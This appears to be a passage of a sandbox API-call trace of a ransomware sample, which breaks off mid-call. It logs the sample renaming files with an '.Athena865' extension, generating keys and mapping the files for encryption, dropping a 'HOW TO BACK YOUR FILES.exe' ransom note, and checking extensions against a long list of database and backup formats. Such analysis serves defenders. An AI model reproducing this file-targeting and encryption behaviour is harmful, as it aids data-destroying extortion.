param_1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865") returned 82 [0055.504] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwFlags=0x1) returned 1 [0055.504] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0055.505] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1608) returned 1 [0055.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0055.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0055.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518b40 [0055.505] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518898) returned 1 [0055.506] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0055.506] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0055.506] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x950, lpName=0x0) returned 0x154 [0055.507] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x950) returned 0x100000 [0055.508] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518898) returned 1 [0055.509] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0055.509] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0055.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0055.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0055.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0055.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0055.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0055.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0055.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0055.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0055.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0055.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0055.509] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0055.510] CloseHandle (hObject=0x154) returned 1 [0055.510] CloseHandle (hObject=0x17c) returned 1 [0055.510] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0055.510] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518b40 | out: hHeap=0x4f0000) returned 1 [0055.510] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0055.510] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0055.510] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0055.510] ReleaseMutex (hMutex=0xec) returned 1 [0055.510] CloseHandle (hObject=0xec) returned 1 [0055.510] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C" [0055.510] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ab8 | out: hHeap=0x4f0000) returned 1 [0055.510] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f550 | out: hHeap=0x4f0000) returned 1 [0055.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C") returned 62 [0055.510] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\2D79E6E646FD7C013B37A3ADFAC8C119") returned 0xec [0055.510] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0055.510] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C" [0055.510] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0055.510] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 0 [0055.511] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0055.511] GetLastError () returned 0x0 [0055.511] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0055.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0055.511] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0055.512] CloseHandle (hObject=0xf4) returned 1 [0055.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0055.512] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0055.512] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd346960, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd346960, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0055.512] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0055.512] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0055.512] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0055.512] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd346960, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd346960, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.512] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0055.512] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0055.512] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0055.512] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0055.512] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd346960, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd346960, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0055.512] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0055.512] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0055.513] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0055.513] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0055.513] lstrcmpiW (lpString1="OutlkLR.cab", lpString2=".") returned 1 [0055.513] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="..") returned 1 [0055.513] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="windows") returned -1 [0055.513] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="bootmgr") returned 1 [0055.513] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="temp") returned -1 [0055.513] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="pagefile.sys") returned -1 [0055.513] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="boot") returned 1 [0055.513] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="ids.txt") returned 1 [0055.513] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="ntuser.dat") returned 1 [0055.513] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="perflogs") returned -1 [0055.513] lstrcmpiW (lpString1="OutlkLR.cab", lpString2="MSBuild") returned 1 [0055.513] lstrlenW (lpString="OutlkLR.cab") returned 11 [0055.513] lstrcpyW (in: lpString1=0x241e8c6, lpString2="OutlkLR.cab" | out: lpString1="OutlkLR.cab") returned="OutlkLR.cab" [0055.513] lstrlenW (lpString="OutlkLR.cab") returned 11 [0055.513] lstrlenW (lpString="Athena865") returned 9 [0055.513] lstrcmpiW (lpString1="tlkLR.cab", lpString2="Athena865") returned 1 [0055.513] lstrlenW (lpString=".dll") returned 4 [0055.513] lstrcmpiW (lpString1="OutlkLR.cab", lpString2=".dll") returned 1 [0055.513] lstrlenW (lpString=".lnk") returned 4 [0055.513] lstrcmpiW (lpString1="OutlkLR.cab", lpString2=".lnk") returned 1 [0055.513] lstrlenW (lpString=".ini") returned 4 [0055.513] lstrcmpiW (lpString1="OutlkLR.cab", lpString2=".ini") returned 1 [0055.513] lstrlenW (lpString=".sys") returned 4 [0055.513] lstrcmpiW (lpString1="OutlkLR.cab", lpString2=".sys") returned 1 [0055.513] lstrlenW (lpString="OutlkLR.cab") returned 11 [0055.513] lstrlenW (lpString="bak") returned 3 [0055.513] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1 [0055.513] lstrlenW (lpString="ba_") returned 3 [0055.513] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1 [0055.513] lstrlenW (lpString="dbb") returned 3 [0055.513] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1 [0055.513] lstrlenW (lpString="vmdk") returned 4 [0055.514] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1 [0055.514] lstrlenW (lpString="rar") returned 3 [0055.514] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1 [0055.514] lstrlenW (lpString="zip") returned 3 [0055.514] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1 [0055.514] lstrlenW (lpString="tgz") returned 3 [0055.514] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1 [0055.514] lstrlenW (lpString="vbox") returned 4 [0055.514] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1 [0055.514] lstrlenW (lpString="vdi") returned 3 [0055.514] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1 [0055.514] lstrlenW (lpString="vhd") returned 3 [0055.514] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1 [0055.514] lstrlenW (lpString="vhdx") returned 4 [0055.514] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1 [0055.514] lstrlenW (lpString="avhd") returned 4 [0055.514] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1 [0055.514] lstrlenW (lpString="db") returned 2 [0055.514] lstrcmpiW (lpString1="ab", lpString2="db") returned -1 [0055.514] lstrlenW (lpString="db2") returned 3 [0055.514] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1 [0055.514] lstrlenW (lpString="db3") returned 3 [0055.514] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1 [0055.514] lstrlenW (lpString="dbf") returned 3 [0055.514] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1 [0055.514] lstrlenW (lpString="mdf") returned 3 [0055.514] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1 [0055.514] lstrlenW (lpString="mdb") returned 3 [0055.514] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1 [0055.514] lstrlenW (lpString="sql") returned 3 [0055.514] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1 [0055.514] lstrlenW (lpString="sqlite") returned 6 [0055.514] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1 [0055.515] lstrlenW (lpString="sqlite3") returned 7 [0055.515] lstrcmpiW (lpString1="kLR.cab", lpString2="sqlite3") returned -1 [0055.515] lstrlenW (lpString="sqlitedb") returned 8 [0055.515] lstrcmpiW (lpString1="lkLR.cab", lpString2="sqlitedb") returned -1 [0055.515] lstrlenW (lpString="xml") returned 3 [0055.515] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1 [0055.515] lstrlenW (lpString="$er") returned 3 [0055.515] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1 [0055.515] lstrlenW (lpString="4dd") returned 3 [0055.515] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1 [0055.515] lstrlenW (lpString="4dl") returned 3 [0055.515] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1 [0055.515] lstrlenW (lpString="^^^") returned 3 [0055.515] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1 [0055.515] lstrlenW (lpString="abs") returned 3 [0055.515] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1 [0055.515] lstrlenW (lpString="abx") returned 3 [0055.515] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1 [0055.515] lstrlenW (lpString="accdb") returned 5 [0055.515] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1 [0055.515] lstrlenW (lpString="accdc") returned 5 [0055.515] lstrcmpiW (lpString1="R.cab", lpString2="accdc") returned 1 [0055.515] lstrlenW (lpString="accde") returned 5 [0055.515] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1 [0055.515] lstrlenW (lpString="accdr") returned 5 [0055.515] lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1 [0055.515] lstrlenW (lpString="accdt") returned 5 [0055.515] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1 [0055.515] lstrlenW (lpString="accdw") returned 5 [0055.515] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1 [0055.515] lstrlenW (lpString="accft") returned 5 [0055.515] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1 [0055.515] lstrlenW (lpString="adb") returned 3 [0055.516] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0055.516] lstrlenW (lpString="adb") returned 3 [0055.516] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0055.516] lstrlenW (lpString="ade") returned 3 [0055.516] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1 [0055.516] lstrlenW (lpString="adf") returned 3 [0055.516] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1 [0055.516] lstrlenW (lpString="adn") returned 3 [0055.516] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1 [0055.516] lstrlenW (lpString="adp") returned 3 [0055.516] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1 [0055.516] lstrlenW (lpString="alf") returned 3 [0055.516] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1 [0055.516] lstrlenW (lpString="ask") returned 3 [0055.516] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1 [0055.516] lstrlenW (lpString="btr") returned 3 [0055.516] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1 [0055.516] lstrlenW (lpString="cat") returned 3 [0055.516] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1 [0055.516] lstrlenW (lpString="cdb") returned 3 [0055.516] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1 [0055.516] lstrlenW (lpString="ckp") returned 3 [0055.516] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1 [0055.516] lstrlenW (lpString="cma") returned 3 [0055.516] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1 [0055.516] lstrlenW (lpString="cpd") returned 3 [0055.516] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1 [0055.516] lstrlenW (lpString="dacpac") returned 6 [0055.516] lstrcmpiW (lpString1="LR.cab", lpString2="dacpac") returned 1 [0055.516] lstrlenW (lpString="dad") returned 3 [0055.516] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1 [0055.516] lstrlenW (lpString="dadiagrams") returned 10 [0055.516] lstrcmpiW (lpString1="utlkLR.cab", lpString2="dadiagrams") returned 1 [0055.516] lstrlenW (lpString="daschema") returned 8 [0055.517] lstrcmpiW (lpString1="lkLR.cab", lpString2="daschema") returned 1 [0055.517] lstrlenW (lpString="db-journal") returned 10 [0055.517] lstrcmpiW (lpString1="utlkLR.cab", lpString2="db-journal") returned 1 [0055.517] lstrlenW (lpString="db-shm") returned 6 [0055.517] lstrcmpiW (lpString1="LR.cab", lpString2="db-shm") returned 1 [0055.517] lstrlenW (lpString="db-wal") returned 6 [0055.517] lstrcmpiW (lpString1="LR.cab", lpString2="db-wal") returned 1 [0055.517] lstrlenW (lpString="dbc") returned 3 [0055.517] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1 [0055.517] lstrlenW (lpString="dbs") returned 3 [0055.517] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1 [0055.517] lstrlenW (lpString="dbt") returned 3 [0055.517] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1 [0055.517] lstrlenW (lpString="dbv") returned 3 [0055.517] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1 [0055.517] lstrlenW (lpString="dbx") returned 3 [0055.517] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1 [0055.517] lstrlenW (lpString="dcb") returned 3 [0055.517] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1 [0055.517] lstrlenW (lpString="dct") returned 3 [0055.517] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1 [0055.517] lstrlenW (lpString="dcx") returned 3 [0055.517] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1 [0055.517] lstrlenW (lpString="ddl") returned 3 [0055.517] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1 [0055.517] lstrlenW (lpString="dlis") returned 4 [0055.517] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1 [0055.517] lstrlenW (lpString="dp1") returned 3 [0055.517] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1 [0055.517] lstrlenW (lpString="dqy") returned 3 [0055.517] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1 [0055.517] lstrlenW (lpString="dsk") returned 3 [0055.517] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1 [0055.518] lstrlenW (lpString="dsn") returned 3 [0055.518] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1 [0055.518] lstrlenW (lpString="dtsx") returned 4 [0055.518] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1 [0055.518] lstrlenW (lpString="dxl") returned 3 [0055.518] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1 [0055.518] lstrlenW (lpString="eco") returned 3 [0055.518] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1 [0055.518] lstrlenW (lpString="ecx") returned 3 [0055.518] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1 [0055.518] lstrlenW (lpString="edb") returned 3 [0055.518] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1 [0055.518] lstrlenW (lpString="epim") returned 4 [0055.518] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1 [0055.518] lstrlenW (lpString="fcd") returned 3 [0055.518] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1 [0055.518] lstrlenW (lpString="fdb") returned 3 [0055.518] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1 [0055.518] lstrlenW (lpString="fic") returned 3 [0055.518] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1 [0055.518] lstrlenW (lpString="flexolibrary") returned 12 [0055.518] lstrlenW (lpString="fm5") returned 3 [0055.518] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1 [0055.518] lstrlenW (lpString="fmp") returned 3 [0055.518] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1 [0055.518] lstrlenW (lpString="fmp12") returned 5 [0055.518] lstrcmpiW (lpString1="R.cab", lpString2="fmp12") returned 1 [0055.518] lstrlenW (lpString="fmpsl") returned 5 [0055.518] lstrcmpiW (lpString1="R.cab", lpString2="fmpsl") returned 1 [0055.518] lstrlenW (lpString="fol") returned 3 [0055.518] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1 [0055.518] lstrlenW (lpString="fp3") returned 3 [0055.518] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1 [0055.518] lstrlenW (lpString="fp4") returned 3 [0055.519] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1 [0055.519] lstrlenW (lpString="fp5") returned 3 [0055.519] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1 [0055.519] lstrlenW (lpString="fp7") returned 3 [0055.519] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1 [0055.519] lstrlenW (lpString="fpt") returned 3 [0055.519] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1 [0055.519] lstrlenW (lpString="frm") returned 3 [0055.519] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1 [0055.519] lstrlenW (lpString="gdb") returned 3 [0055.519] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0055.519] lstrlenW (lpString="gdb") returned 3 [0055.519] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0055.519] lstrlenW (lpString="grdb") returned 4 [0055.519] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1 [0055.519] lstrlenW (lpString="gwi") returned 3 [0055.519] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1 [0055.519] lstrlenW (lpString="hdb") returned 3 [0055.519] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1 [0055.519] lstrlenW (lpString="his") returned 3 [0055.519] lstrcmpiW (lpString1="cab", lpString2="his") returned -1 [0055.519] lstrlenW (lpString="ib") returned 2 [0055.519] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1 [0055.519] lstrlenW (lpString="idb") returned 3 [0055.519] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1 [0055.519] lstrlenW (lpString="ihx") returned 3 [0055.519] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1 [0055.519] lstrlenW (lpString="itdb") returned 4 [0055.519] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1 [0055.519] lstrlenW (lpString="itw") returned 3 [0055.519] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1 [0055.519] lstrlenW (lpString="jet") returned 3 [0055.519] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1 [0055.520] lstrlenW (lpString="jtx") returned 3 [0055.520] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1 [0055.520] lstrlenW (lpString="kdb") returned 3 [0055.520] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1 [0055.520] lstrlenW (lpString="kexi") returned 4 [0055.520] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1 [0055.520] lstrlenW (lpString="kexic") returned 5 [0055.520] lstrcmpiW (lpString1="R.cab", lpString2="kexic") returned 1 [0055.520] lstrlenW (lpString="kexis") returned 5 [0055.520] lstrcmpiW (lpString1="R.cab", lpString2="kexis") returned 1 [0055.520] lstrlenW (lpString="lgc") returned 3 [0055.520] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1 [0055.520] lstrlenW (lpString="lwx") returned 3 [0055.520] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1 [0055.520] lstrlenW (lpString="maf") returned 3 [0055.520] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1 [0055.520] lstrlenW (lpString="maq") returned 3 [0055.520] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1 [0055.520] lstrlenW (lpString="mar") returned 3 [0055.520] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1 [0055.520] lstrlenW (lpString="marshal") returned 7 [0055.520] lstrcmpiW (lpString1="kLR.cab", lpString2="marshal") returned -1 [0055.520] lstrlenW (lpString="mas") returned 3 [0055.520] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1 [0055.520] lstrlenW (lpString="mav") returned 3 [0055.520] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1 [0055.520] lstrlenW (lpString="maw") returned 3 [0055.520] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1 [0055.520] lstrlenW (lpString="mdbhtml") returned 7 [0055.520] lstrcmpiW (lpString1="kLR.cab", lpString2="mdbhtml") returned -1 [0055.520] lstrlenW (lpString="mdn") returned 3 [0055.520] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1 [0055.520] lstrlenW (lpString="mdt") returned 3 [0055.521] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1 [0055.521] lstrlenW (lpString="mfd") returned 3 [0055.521] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1 [0055.521] lstrlenW (lpString="mpd") returned 3 [0055.521] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1 [0055.521] lstrlenW (lpString="mrg") returned 3 [0055.521] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1 [0055.521] lstrlenW 